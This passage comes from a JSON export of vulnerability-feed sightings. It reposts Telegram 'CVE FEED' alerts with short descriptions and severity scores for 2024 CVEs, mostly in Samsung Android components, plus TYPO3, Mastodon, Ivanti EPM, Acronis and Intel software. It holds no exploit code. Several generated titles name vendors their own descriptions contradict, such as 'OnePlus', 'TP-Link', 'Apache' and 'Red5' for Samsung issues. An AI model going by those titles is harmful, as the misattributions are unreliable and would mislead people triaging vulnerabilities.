ID : CVE-2024-34676 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Out-of-bounds write in parsing subtitle file in libsubextractor.so prior to SMR Nov-2024 Release 1 allows local attackers to cause memory corruption. User interaction is required for triggering this vulnerability. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:51.000000Z"}, {"uuid": "8d57d73b-6392-46ff-9f46-f288ea1315c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34675", "type": "seen", "source": "https://t.me/cvedetector/9985", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34675 - OnePlus Pixel Density Unauthorized Screen Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34675 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Improper access control in Dex Mode prior to SMR Nov-2024 Release 1 allows physical attackers to temporarily access to unlocked screen. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:50.000000Z"}, {"uuid": "2b4762f3-818b-4346-ade1-66b1027ac7d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34674", "type": "seen", "source": "https://t.me/cvedetector/9984", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34674 - Samsung Contacts Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34674 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Improper access control in Contacts prior to SMR Nov-2024 Release 1 allows physical attackers to access data across multiple user profiles. \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:49.000000Z"}, {"uuid": "81856786-23ab-4bcf-9d61-32719f77a6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34679", "type": "seen", "source": "https://t.me/cvedetector/9982", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34679 - Crane Local File Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34679 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Incorrect default permissions in Crane prior to SMR Nov-2024 Release 1 allows local attackers to access files with phone privilege. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:45.000000Z"}, {"uuid": "84a49f5a-27a7-42a6-a56b-3a7e844b8311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34678", "type": "seen", "source": "https://t.me/cvedetector/9981", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34678 - Apache Shape Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34678 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Out-of-bounds write in libsapeextractor.so prior to SMR Nov-2024 Release 1 allows local attackers to cause memory corruption. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:44.000000Z"}, {"uuid": "b4634f18-994f-48b5-8b4b-b6dc796d79d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34682", "type": "seen", "source": "https://t.me/cvedetector/9979", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34682 - TP-Link Wi-Fi Router Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-34682 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Improper authorization in Settings prior to SMR Nov-2024 Release 1 allows physical attackers to access stored WiFi password in Maintenance Mode. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:43.000000Z"}, {"uuid": "86fc4231-7fee-4691-8618-e51e71527036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34681", "type": "seen", "source": "https://t.me/cvedetector/9978", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34681 - Samsung Galaxy Watch Persistent Local Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34681 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Improper input validation in BluetoothAdapter prior to SMR Nov-2024 Release 1 allows local attackers to cause local permanent denial of service on Galaxy Watch. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:39.000000Z"}, {"uuid": "7eeab60e-5c84-4e96-a4f1-210e48f02ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34680", "type": "seen", "source": "https://t.me/cvedetector/9977", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34680 - \"WlanTest Implicit Intent Sensitive Information Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-34680 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Use of implicit intent for sensitive communication in WlanTest prior to SMR Nov-2024 Release 1 allows local attackers to get sensitive information. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:39.000000Z"}, {"uuid": "346eb070-3764-46f5-a7f6-6e0ce50da542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34537", "type": "seen", "source": "https://t.me/cvedetector/9129", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34537 - TYPO3 Bookmark Toolbar Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-34537 \nPublished : Oct. 28, 2024, 2:15 p.m. | 44\u00a0minutes ago \nDescription : TYPO3 before 13.3.1 allows denial of service (interface error) in the Bookmark Toolbar (ext:backend), exploitable by an administrator-level backend user account via manipulated data saved in the bookmark toolbar of the backend user interface. The fixed versions are 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, and 13.3.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T16:09:55.000000Z"}, {"uuid": "add26c5b-9375-4b44-9e43-868807c5a722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34665", "type": "seen", "source": "https://t.me/cvedetector/7323", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34665 - OpenRTP H.264 Format Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34665 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Out-of-bounds write in parsing h.264 format in librtppayload.so prior to SMR Oct-2024 Release 1 allows remote attackers to execute arbitrary code with system privilege. User interaction is required for triggering this vulnerability. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:46.000000Z"}, {"uuid": "e2da9f7a-c252-4368-ad13-e71ffc706848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34664", "type": "seen", "source": "https://t.me/cvedetector/7329", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34664 - Samsung Knox Guard Exceptional Condition Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34664 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Improper check for exception conditions in Knox Guard prior to SMR Oct-2024 Release 1 allows physical attackers to bypass Knox Guard in a multi-user environment. \nSeverity: 4.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:54.000000Z"}, {"uuid": "fbdb6825-a651-46bb-a10f-421cbc502478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34663", "type": "seen", "source": "https://t.me/cvedetector/7328", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34663 - SEF.quram.so Integer Overflow (Local Write)\", \n  \"Content\": \"CVE ID : CVE-2024-34663 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Integer overflow in libSEF.quram.so prior to SMR Oct-2024 Release 1 allows local attackers to write out-of-bounds memory. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:53.000000Z"}, {"uuid": "b623cf8e-02e4-40ab-847a-5fbeb2216e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34662", "type": "seen", "source": "https://t.me/cvedetector/7327", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34662 - Android ActivityManager Kernel vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34662 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Improper access control in ActivityManager prior to SMR Oct-2024 Release 1 in select Android 12, 13 and SMR Sep-2024 Release 1 in select Android 14 allows local attackers to execute privileged behaviors. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:49.000000Z"}, {"uuid": "54d568ae-7b9f-4bf9-ba1d-2e5fdd41b1b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34668", "type": "seen", "source": "https://t.me/cvedetector/7326", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34668 - OpenVX RTTPPayloadManager Out-of-Bounds Write\", \n  \"Content\": \"CVE ID : CVE-2024-34668 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Out-of-bounds write in parsing h.263 format in librtppayload.so prior to SMR Oct-2024 Release 1 allows remote attackers to execute arbitrary code with system privilege. User interaction is required for triggering this vulnerability. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:48.000000Z"}, {"uuid": "2adbf1d6-f531-4f4d-a775-e09d896aa79f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34667", "type": "seen", "source": "https://t.me/cvedetector/7325", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34667 - RTP Payload Editor H.265 OOB Write-What-Where\", \n  \"Content\": \"CVE ID : CVE-2024-34667 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Out-of-bounds write in parsing h.265 format in librtppayload.so prior to SMR Oct-2024 Release 1 allows remote attackers to execute arbitrary code with system privilege. User interaction is required for triggering this vulnerability. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:48.000000Z"}, {"uuid": "4e61ba4f-2913-4917-bc6f-eb370c25d02e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34666", "type": "seen", "source": "https://t.me/cvedetector/7324", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34666 - Radvision librtppayload out-of-bounds write buffer overflow vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34666 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Out-of-bounds write in parsing h.264 format in a specific mode in librtppayload.so prior to SMR Oct-2024 Release 1 allows remote attackers to execute arbitrary code with system privilege. User interaction is required for triggering this vulnerability. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:47.000000Z"}, {"uuid": "6e45cd25-b670-4f5b-90f4-0d1e1d33b5b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34671", "type": "seen", "source": "https://t.me/cvedetector/7322", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34671 - Samsung Internet Sensitive Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-34671 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Use of implicit intent for sensitive communication in translation\ud63bin Samsung Internet prior to version 26.0.3.1 allows local attackers to get sensitive information. User interaction is required for triggering this vulnerability. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:43.000000Z"}, {"uuid": "390a1682-322e-48fd-b3d6-9b067d64b4cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34670", "type": "seen", "source": "https://t.me/cvedetector/7321", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34670 - Samsung Sound Assistant Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-34670 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Use of implicit intent for sensitive communication in Sound Assistant prior to version 6.1.0.9 allows local attackers to get sensitive information. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:42.000000Z"}, {"uuid": "8a4af646-efc0-4a54-ab21-d167875054a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34669", "type": "seen", "source": "https://t.me/cvedetector/7320", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34669 - Red5 RtpPayload H.263+ OOB Write RCE\", \n  \"Content\": \"CVE ID : CVE-2024-34669 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Out-of-bounds write in parsing h.263+ format in librtppayload.so prior to SMR Oct-2024 Release 1 allows remote attackers to execute arbitrary code with system privilege. User interaction is required for triggering this vulnerability. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:41.000000Z"}, {"uuid": "758cacc7-5941-4340-9f6b-276958b618cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34672", "type": "seen", "source": "https://t.me/cvedetector/7319", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34672 - Samsung Video Player Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-34672 \nPublished : Oct. 8, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : Improper input validation in SamsungVideoPlayer prior to versions 7.3.29.1 in Android 12, 7.3.36.1 in Android 13, and 7.3.41.230 in Android 14 allows local attackers to access video file of other users. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-08T10:21:40.000000Z"}, {"uuid": "78646d62-a0f6-48b7-a3d5-ec9e0e83f7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34535", "type": "seen", "source": "https://t.me/cvedetector/6920", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34535 - Mastodon HTTP Request Header Rate Limiting Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34535 \nPublished : Oct. 3, 2024, 6:15 p.m. | 27\u00a0minutes ago \nDescription : In Mastodon 4.1.6, API endpoint rate limiting can be bypassed by setting a crafted HTTP request header. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-10T18:21:27.000000Z"}, {"uuid": "2f1adb6e-5732-4528-941f-ed13ec0fb9db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34542", "type": "seen", "source": "https://t.me/cvedetector/6574", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34542 - Advantech ADAM-5630 Unprotected Credential Transport\", \n  \"Content\": \"CVE ID : CVE-2024-34542 \nPublished : Sept. 27, 2024, 6:15 p.m. | 34\u00a0minutes ago \nDescription : Advantech ADAM-5630 shares user credentials plain text between the device and the user source device during the login process. \nSeverity: 5.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T20:55:24.000000Z"}, {"uuid": "aca616b5-ab15-4658-9057-6b96d14a4631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34779", "type": "seen", "source": "https://t.me/cvedetector/5422", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34779 - Ivanti EPM SQL Injection Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-34779 \nPublished : Sept. 12, 2024, 2:15 a.m. | 21\u00a0minutes ago \nDescription : An unspecified SQL injection in Ivanti EPM before 2022 SU6, or the 2024 September update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T04:44:40.000000Z"}, {"uuid": "3678eeb5-4e11-4b7c-abb6-ddfe379b94dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34785", "type": "seen", "source": "https://t.me/cvedetector/5421", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34785 - Ivanti EPM SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-34785 \nPublished : Sept. 12, 2024, 2:15 a.m. | 21\u00a0minutes ago \nDescription : An unspecified SQL injection in Ivanti EPM before 2022 SU6, or the 2024 September update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T04:44:40.000000Z"}, {"uuid": "948f63fe-446f-43a1-a043-8c5487c1e1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34783", "type": "seen", "source": "https://t.me/cvedetector/5418", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34783 - Ivanti EPM Remote Authenticated SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-34783 \nPublished : Sept. 12, 2024, 2:15 a.m. | 21\u00a0minutes ago \nDescription : An unspecified SQL injection in Ivanti EPM before 2022 SU6, or the 2024 September update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T04:44:37.000000Z"}, {"uuid": "22083ff1-cbcb-459a-9941-9164eb32a98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34831", "type": "seen", "source": "https://t.me/cvedetector/5294", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34831 - Gibbon Core XSS Injection\", \n  \"Content\": \"CVE ID : CVE-2024-34831 \nPublished : Sept. 10, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : cross-site scripting (XSS) vulnerability in Gibbon Core v26.0.00 allows an attacker to execute arbitrary code via the imageLink parameter in the library_manage_catalog_editProcess.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-10T20:56:43.000000Z"}, {"uuid": "382c260a-faf5-464c-8f70-046cd734ad30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34017", "type": "seen", "source": "https://t.me/cvedetector/4475", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34017 - Acronis Snap Deploy DLL Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34017 \nPublished : Aug. 29, 2024, 8:15 p.m. | 35\u00a0minutes ago \nDescription : Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Snap Deploy (Windows) before build 4569. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-29T22:55:37.000000Z"}, {"uuid": "f9626811-a789-40e8-8d34-0a1a99a07214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34016", "type": "seen", "source": "https://t.me/cvedetector/5761", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34016 - Acronis Cyber Protect Cloud Agent DLL Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34016 \nPublished : Sept. 16, 2024, 8:15 p.m. | 27\u00a0minutes ago \nDescription : Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Cyber Protect Cloud Agent (Windows) before build 38235. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T22:53:21.000000Z"}, {"uuid": "ead333e0-17a5-4909-b89d-2f5d5b27bbaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34543", "type": "seen", "source": "https://t.me/cvedetector/5734", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34543 - Intel(R) RAID Web Console Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34543 \nPublished : Sept. 16, 2024, 5:16 p.m. | 14\u00a0minutes ago \nDescription : Improper access control in Intel(R) RAID Web Console software for all versions may allow an authenticated user to potentially enable escalation of privilege via local access. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T19:32:21.000000Z"}, {"uuid": "d000f91b-e580-4b03-8372-dc5ad94ab66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34153", "type": "seen", "source": "https://t.me/cvedetector/5732", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34153 - Intel RAID Web Console Uncontrolled Search Path Element Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-34153 \nPublished : Sept. 16, 2024, 5:16 p.m. | 14\u00a0minutes ago \nDescription : Uncontrolled search path element in Intel(R) RAID Web Console software for all versions may 